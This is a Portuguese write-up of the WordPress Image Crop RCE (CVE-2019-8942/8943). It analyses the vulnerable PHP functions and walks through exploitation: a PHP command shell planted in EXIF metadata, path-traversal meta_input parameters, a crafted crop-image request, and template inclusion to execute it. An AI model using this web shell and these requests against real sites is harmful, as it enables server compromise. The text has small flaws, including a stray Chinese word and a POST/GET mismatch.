
cve-2019-8942, cve-2019-8943
POC & Dockerfile: https://github.com/synod2/WP_CROP_RCE
Este documento aborda as vulnerabilidades encontradas no WordPress versões anteriores a 4.9.9 e 5.0.1, conhecidas como WordPress Image CROP RCE, CVE-2019-8942 e CVE-2019-8943.
| CVE | Data de Divulgação | Descrição |
|---|---|---|
| CVE-2019-8942 | 2019-02-19 | Vulnerabilidade que permite execução remota de código através da execução de PHP contendo código malicioso via valores da tabela wp_postmeta |
| CVE-2019-8943 | 2019-02-19 | Vulnerabilidade que permite armazenar arquivos em caminhos arbitrários usando o parâmetro meta_input quando ocorrem alterações nas informações de tamanho da imagem carregada |
CVE-2019-8942 permite fazer upload de uma imagem com código PHP inserido nos metadados EXIF, alterar o valor de wp_attached_file na tabela wp_post_meta da postagem e incluir o arquivo de imagem para executar código arbitrário.
CVE-2019-8943 permite, ao usar a ferramenta de edição de imagem, alterar o valor de wp_attached_file na tabela wp_postmeta para uma string arbitrária através da função wp_crop_image(), que atualiza as informações de tamanho da imagem, possibilitando escrever arquivos em diretórios arbitrários.
Usando essas duas vulnerabilidades juntas, é possível fazer upload de uma imagem com código PHP嵌入, carregá-la em um caminho arbitrário e executar código remotamente.
Quando uma imagem é carregada no WordPress, ela é inicialmente movida para o diretório wp-content/uploads, e informações de referência interna (metadados como proprietário da imagem, hora do upload, etc.) são armazenadas no banco de dados como pares meta_key/meta_value.
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
Os metadados da imagem são armazenados no banco de dados conforme acima, e ao recuperar a imagem, o nome do arquivo é encontrado no diretório wp-content/uploads usando as informações do metadado _wp_attached_file.
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
Na função edit_post(), os dados POST são armazenados na variável $post_data sem qualquer filtragem adicional e, após passar por wp_update_post() → wp_insert_post(), os valores POST são usados pela função update_post_meta para atualizar os metadados armazenados no banco de dados. Nesse momento, é possível alterar o valor de _wp_attached_file para manipular o caminho no metadado de onde a imagem será obtida.
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
A função wp_crop_image(), chamada ao redimensionar um arquivo, obtém o caminho onde o arquivo será salvo através da função get_attached_file(), que por sua vez obtém o caminho do arquivo a partir de _wp_attached_file armazenado no banco de dados via get_post_meta() e salva a imagem modificada.
Devido a esses dois problemas, ocorre a ação de obter o caminho do arquivo manipulado via POST e salvar a imagem modificada nesse local.
Os temas das páginas do WordPress são armazenados e usados no diretório wp-content/themes. É possível definir o metadado _wp_page_template da postagem para usar um arquivo desse diretório de tema na forma de um template, executando a função include().
Nesse caso, assim como a função include() do PHP inclui o arquivo na postagem, se uma imagem contendo código PHP for incluída, ela se comportará como uma página PHP, permitindo a execução de código PHP.
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
Inserção de shell PHP no campo CopyrightNotice dos metadados da imagem.



Ao clicar na imagem carregada - Mais detalhes de edição - Clicar em Atualizar, adicionar o parâmetro &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell na requisição enviada para post.php
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
Confirmado que _wp_attached_file foi modificado no banco de dados.


Ao clicar na imagem carregada - Editar imagem - Alterar tamanho e clicar no botão "Tamanho", modificar os parâmetros na requisição enviada para admin-ajax.php

action=crop-image&_ajax_nonce=<nonce>&id=<ID da imagem>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
Confirmado que o arquivo cropped-shell.jpg foi criado no diretório do tema.

Ao escrever uma postagem, adicionar o parâmetro &meta_input[_wp_page_template]=cropped-shell.jpg na requisição enviada para post.php, incluindo o arquivo na postagem.

Confirmado que o código PHP no arquivo de imagem incluído é executado, e o valor passado como argumento POST na postagem é executado como comando do sistema.
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - Código POC em Python
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - Relatório de análise da vulnerabilidade WP-CROP-RCE
https://blog.naver.com/skinfosec2000/221517528775 - Relatório de análise da vulnerabilidade WP-CROP-RCE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - Página oficial do CVE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - Página oficial do CVE